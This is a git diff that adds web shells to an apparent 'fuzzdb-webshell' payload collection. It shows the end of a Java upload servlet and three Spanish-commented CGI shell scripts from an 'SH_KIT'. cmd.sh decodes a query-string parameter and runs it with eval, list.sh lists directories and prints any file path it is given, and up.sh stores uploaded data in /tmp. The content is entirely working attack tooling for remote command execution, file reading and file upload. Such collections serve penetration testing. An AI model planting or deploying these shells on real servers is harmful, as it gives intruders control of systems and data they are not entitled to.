    +		// out.print("CONTADOR = " + contador + " / FILE_LEN = " + (req.getContentLength() - tag.length() - contador - 11) + " ==>");
    +
    +		// (!) Uploaded File Name
    +
    +		File newfile = new File("c:\\install.log");
    +
    +		/////////////////////////
    +
    +		FileOutputStream fileout = new FileOutputStream(newfile);
    +
    +		for(int i=0; i < req.getContentLength() - tag.length() - contador - 11; i++) {
    +			c=post.read();
    +			fileout.write((char)c);
    +			}
    +
    +		fileout.close();
    +		out.print("<== OK");
    +
    +    }
    +
    +
    +    public String getServletInfo() {
    +		return "UpServlet 0.1";
    +    }
    +
    +}
    \ No newline at end of file
    diff --git a/fuzzdb-webshell/sh/cmd.sh b/fuzzdb-webshell/sh/cmd.sh
    new file mode 100644
    index 0000000..4bd643b
    --- /dev/null
    +++ b/fuzzdb-webshell/sh/cmd.sh
    @@ -0,0 +1,372 @@
    +#!/bin/sh
    +#
    +# SH_KIT
    +#
    +# cmd.sh = Command Execution
    +#
    +# by: Ludoz
    +# modified: 23/04/2004
    +#
    +# Version 1.2 - 28/5/2003
    +#
    +
    +###
    +###
    +### Configuracion
    +###
    +###
    +
    +#
    +# sitios donde buscar ejecutables necesarios, sin la / posterior, separados por espacios
    +#
    +PATHS="/bin /usr/bin /sbin /usr/sbin /usr/local/bin /usr/local/sbin /usr/ucb /usr/libexec /tmp /usr/tmp /var/tmp ."
    +
    +###
    +###
    +### La configuracion acaba aqui
    +###
    +###
    +
    +#
    +# PATHs mas habituales de los 3 comandos base
    +#
    +TEST="/usr/bin/test"
    +BASENAME="/bin/basename"
    +DIRNAME="/usr/bin/dirname"
    +
    +# compruebo TEST, BASENAME y DIRNAME y si estan mal intento encontrarlas en el path y sino en PATHS
    +if (eval $TEST \"1\" = \"1\" ); then
    +  TEST=$TEST
    +else
    +  for i in $PATHS ; do
    +    TEST="$i/test"
    +    if (eval $TEST \"1\" = \"1\" ); then
    +      break
    +    fi
    +  done
    +  if (eval $TEST \"1\" = \"1\" ); then
    +    TEST=$TEST
    +  else
    +    TEST=test
    +    if (eval $TEST \"1\" = \"1\" ); then
    +      TEST=$TEST
    +    else
    +      TEST=""
    +      echo ERROR: No he encontrado TEST en el sitio especificado ni en el path
    +      echo
    +      exit
    +    fi
    +  fi
    +fi
    +
    +if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
    +  BASENAME=$BASENAME
    +else
    +  for i in $PATHS ; do
    +    BASENAME="$i/basename"
    +    if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
    +      break
    +    fi
    +  done
    +  if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
    +    BASENAME=$BASENAME
    +  else
    +    BASENAME=basename
    +    if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
    +      BASENAME=$BASENAME
    +    else
    +      BASENAME=""
    +      echo ERROR: No he encontrado BASENAME en el sitio especificado ni en el path
    +      echo
    +      exit
    +    fi
    +  fi
    +fi
    +
    +if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
    +  DIRNAME=$DIRNAME
    +else
    +  for i in $PATHS ; do
    +    DIRNAME="$i/dirname"
    +    if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
    +      break
    +    fi
    +  done
    +  if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
    +    DIRNAME=$DIRNAME
    +  else
    +    DIRNAME=dirname
    +    if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
    +      DIRNAME=$DIRNAME
    +    else
    +      DIRNAME=""
    +      echo ERROR: No he encontrado DIRNAME en el sitio especificado ni en el path
    +      echo
    +      exit
    +    fi
    +  fi
    +fi
    +
    +#echo "Info: TEST: $TEST"
    +#echo "Info: BASENAME: $BASENAME"
    +#echo "Info: DIRNAME: $DIRNAME"
    +
    +if (eval $TEST -x \"/usr/bin/unalias\" ); then
    +  # si existe el comando: unalias *
    +  /usr/bin/unalias *
    +else
    +  # si es interno: unalias -a
    +  unalias -a
    +fi
    +
    +#
    +# A partir de aqui deberia ser 100% multisistema
    +#
    +
    +buscaexec ()
    +{
    +BUSCAEXECRES=""
    +if (eval $TEST -z \"$BUSCAEXECPAR\" ); then
    +  return;
    +fi
    +if (eval $TEST -x \"$BUSCAEXECPAR\" ); then
    +  BUSCAEXECRES=$BUSCAEXECPAR
    +  return;
    +fi
    +
    +BUSCAEXECPAR=`eval $BASENAME $BUSCAEXECPAR`
    +
    +for i in $PATHS $PATH ; do 
    +  if (eval $TEST -x \"$i/$BUSCAEXECPAR\" ); then
    +    BUSCAEXECRES="$i/$BUSCAEXECPAR"
    +    break
    +  fi
    +done
    +
    +if (eval $TEST -n \"$BUSCAEXECRES\" ); then
    +  return;
    +fi
    +
    +if (eval $TEST -z \"$WHICH\" ); then
    +  return;
    +fi
    +
    +BUSCAEXECRES=`eval $WHICH $BUSCAEXECPAR`
    +if (eval $TEST -n \"$BUSCAEXECRES\" ); then
    +  if (eval $TEST ! -x \"$BUSCAEXECRES\" ); then
    +    BUSCAEXECRES=""
    +  fi
    +fi
    +}
    +
    +
    +#
    +# Definicion de comandos concretos para el script
    +#
    +
    +WHICH=""
    +BUSCAEXECPAR=/usr/bin/which
    +buscaexec
    +WHICH=$BUSCAEXECRES
    +
    +if (eval $TEST -z \"$WHICH\" ) ; then
    +  if (eval $TEST \"$TEST\" != \"test\" ) ; then
    +    TESTCMD=$TEST
    +    TESTRES="test"
    +  elif (eval $TEST \"$BASENAME\" != \"basename\" ) ; then
    +    TESTCMD=$BASENAME
    +    TESTRES="basename"
    +  elif (eval $TEST \"$BASEDIR\" != \"basedir\" ) ; then
    +    TESTCMD=$BASEDIR
    +    TESTRES="basename"
    +  fi
    +
    +  if (eval $TEST -n \"$TESTCMD\"); then
    +    OLDPATH=$PATH
    +    
    +    TESTPATH="`eval $BASEDIR $TESTCMD`"
    +    PATH="$TESTPATH:$PATH"
    +    TESTPATH=""
    +    PRUEBA="`eval $BASENAME \"\`which $TESTRES\`\" `"
    +    if (eval $TEST \"$PRUEBA\" = \"TESTRES\" ) ; then
    +      WHICH="`which which`"
    +    else
    +      WHICH=""
    +    fi
    +    PRUEBA=""
    +
    +    PATH=$OLDPATH
    +    OLDPATH=""
    +    TESTRES=""
    +    TESTCMD=""
    +  fi
    +
    +fi
    +
    +BUSCAEXECPAR=/bin/echo
    +buscaexec
    +ECHO=$BUSCAEXECRES
    +
    +if (eval $TEST -z \"$ECHO\" ) ; then
    +  ECHO=echo
    +fi
    +
    +A="`eval $ECHO \"a\"`"
    +if (eval $TEST \"$A\" = \"a\" ) ; then
    +  ECHO=$ECHO
    +else
    +  ECHO=""
    +#nota mental: para que hago echo si echo no funciona!? :)
    +  echo ERROR: No he encontrado ECHO en el sitio especificado ni en el path
    +  echo
    +  exit
    +fi
    +A=""
    +
    +
    +
    +BUSCAEXECPAR=/bin/cut
    +buscaexec
    +CUT=$BUSCAEXECRES
    +BUSCAEXECPAR=/bin/sed
    +buscaexec
    +SED=$BUSCAEXECRES
    +BUSCAEXECPAR=/usr/bin/expr
    +buscaexec
    +EXPR=$BUSCAEXECRES
    +
    +
    +FORMULARIO="`eval $BASENAME $0`"
    +
    +eval $ECHO \"Content-type: text/html\"
    +eval $ECHO
    +eval $ECHO \"\\CMD.SH\<\/title\>\\"
    +eval $ECHO \"\\
    \<\/p\>\" +eval $ECHO \"\\" +eval $ECHO \"\\" +eval $ECHO \"\\" + +# +# La variable QUERYSTRING contiene la info que quiero +# + +#echo QUERY_STRING=$QUERY_STRING +if (eval $TEST -n \"$QUERY_STRING\"); then + + PARAM=`eval $ECHO \"$QUERY_STRING\" | $CUT \-d\= \-f2 | $SED \-e s\/\+\/\ \/g ` + +hex2dec() +{ +if (eval $TEST \"$PARC\" \= \"0\" ); then + PARC="0" +elif (eval $TEST \"$PARC\" \= \"1\" ); then + PARC="1" +elif (eval $TEST \"$PARC\" \= \"2\" ); then + PARC="2" +elif (eval $TEST \"$PARC\" \= \"3\" ); then + PARC="3" +elif (eval $TEST \"$PARC\" \= \"4\" ); then + PARC="4" +elif (eval $TEST \"$PARC\" \= \"5\" ); then + PARC="5" +elif (eval $TEST \"$PARC\" \= \"6\" ); then + PARC="6" +elif (eval $TEST \"$PARC\" \= \"7\" ); then + PARC="7" +elif (eval $TEST \"$PARC\" \= \"8\" ); then + PARC="8" +elif (eval $TEST \"$PARC\" \= \"9\" ); then + PARC="9" +elif (eval $TEST \"$PARC\" \= \"a\" ); then + PARC="10" +elif (eval $TEST \"$PARC\" \= \"b\" ); then + PARC="11" +elif (eval $TEST \"$PARC\" \= \"c\" ); then + PARC="12" +elif (eval $TEST \"$PARC\" \= \"d\" ); then + PARC="13" +elif (eval $TEST \"$PARC\" \= \"e\" ); then + PARC="14" +elif (eval $TEST \"$PARC\" \= \"f\" ); then + PARC="15" +elif (eval $TEST \"$PARC\" \= \"A\" ); then + PARC="10" +elif (eval $TEST \"$PARC\" \= \"B\" ); then + PARC="11" +elif (eval $TEST \"$PARC\" \= \"C\" ); then + PARC="12" +elif (eval $TEST \"$PARC\" \= \"D\" ); then + PARC="13" +elif (eval $TEST \"$PARC\" \= \"E\" ); then + PARC="14" +elif (eval $TEST \"$PARC\" \= \"F\" ); then + PARC="15" +else + PARC="0" +fi +} + +dec2ascii() +{ +if (eval $TEST \"$PARC\" -eq \"0\"); then + PARC="" +elif (eval $TEST \"$PARC\" -lt \"32\"); then + PARC="" +elif (eval $TEST \"$PARC\" -eq \"34\"); then + PARC="\\\"" +elif (eval $TEST \"$PARC\" -eq \"96\"); then + PARC="\`" +elif (eval $TEST \"$PARC\" -eq \"127\"); then + PARC="" +elif (eval $TEST \"$PARC\" -gt \"127\"); then + PARC="" +else +#aun no rulan todos los caracteres, los que faltan estan impresos en la linea inferior +# XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX " ` ?<- el resto se ignoran, son >128 + PARC="`eval $ECHO \"123456789ABCDEF0123456789ABCDEF \!X#\$%\&\'\(\)\*+,\-.\/0123456789\:\;\<=\>\?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\\\]\^_Xabcdefghijklmnopqrstuvwxyz\{\\\|\}\~X0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF\" | $CUT \-b$PARC `" +# X: no printable, en la linea superior esta el caracter +# los 0123456789ABCDEF es para no descontarme poniendo X cuando habia muchas seguidas +# notese que el NULL no sale en el string +# notese que la " y la ` estan como X en el string pq estan tratadas a parte, no se pueden tratar por el eval este +# notese que los caracteres por debajo del 32 tampoco se tratan, y los mayores de 127 tampoco, aunque se pueden añadir... si tienes ganas ;) y los necesitas realmente +fi +} + + TODO="$PARAM" + DONE="" + + while (eval $TEST -n \"$TODO\" ); do + + C=`eval $ECHO \"$TODO\" | $CUT \-b1 ` + + if (eval $TEST \"$C\" = \"\%\"); then + PARC="`eval $ECHO \"$TODO\" | $CUT \-b2 `" + hex2dec + C1="$PARC" + PARC="`eval $ECHO \"$TODO\" | $CUT \-b3 `" + hex2dec + C2="$PARC" + PARC="`eval $EXPR $C1 \\\* 16 \+ $C2`" + dec2ascii + C="$PARC" + TODO=`eval $ECHO \"$TODO\" | $CUT \-b4\- ` + else + TODO=`eval $ECHO \"$TODO\" | $CUT \-b2\- ` + fi + + DONE="$DONE$C" + + done + + VALUE="$DONE" + + eval $ECHO \"\\\$ $VALUE\" + eval $VALUE + +fi + +eval $ECHO \"\<\/pre\>\<\/body\>\<\/html\>\" + +exit + + diff --git a/fuzzdb-webshell/sh/list.sh b/fuzzdb-webshell/sh/list.sh new file mode 100644 index 0000000..c961f15 --- /dev/null +++ b/fuzzdb-webshell/sh/list.sh @@ -0,0 +1,47 @@ +#!/bin/sh +# +# SH_KIT +# +# list.sh = Directory & File Listing +# +# by: The Dark Raver +# modified: 16/12/2005 +# + +echo Content-Type: text/html +echo + +if [ "$QUERY_STRING" != "" ] + then + echo PATH: $QUERY_STRING "

    " + echo `ls $QUERY_STRING` > /tmp/test + else + echo PATH: / "

    " + echo > /tmp/test + QUERY_STRING="/" + root="1" + fi + +out=`grep "/" /tmp/test` + +if [ "$out" != "" ] + then + echo FICHERO: $QUERY_STRING + echo "
    "
    +    cat $QUERY_STRING
    +  else
    +    if [ "$root" != "1" ]
    +      then
    +      echo "( ) ".."
    " + fi + for i in `ls $QUERY_STRING` + do + if [ "$root" == "1" ] + then + echo "( ) "$i"
    " + else + echo "( ) "$i"
    " + fi + done + + fi \ No newline at end of file diff --git a/fuzzdb-webshell/sh/up.sh b/fuzzdb-webshell/sh/up.sh new file mode 100644 index 0000000..d078733 --- /dev/null +++ b/fuzzdb-webshell/sh/up.sh @@ -0,0 +1,43 @@ +#!/bin/sh +# +# BETA1 - upload to /tmp/upload +# +# SH_KIT +# +# up.sh = File Upload +# +# by: The Dark Raver +# modified: 16/12/2005 +# + +echo Content-Type: text/html +echo + +echo "" +echo "" +echo "

    Local File: " +echo "" +echo "




    " + +echo "
    " + +dd count=$CONTENT_LENGTH bs=1 of=/tmp/test + +lineas=`cat /tmp/test | wc -l` +#echo LIN: $lineas +lineas2=`expr $lineas - 4` +#echo LIN2: $lineas2 +lineas3=`expr $lineas2 - 1` +#echo LIN3: $lineas3 + +#echo "
    " + +tail -$lineas2 /tmp/test > /tmp/test2 +head -$lineas3 /tmp/test2 > /tmp/upload +#rm /tmp/test +#rm /tmp/test2 + +echo "
    "
    +cat /tmp/upload
    +echo "
    " +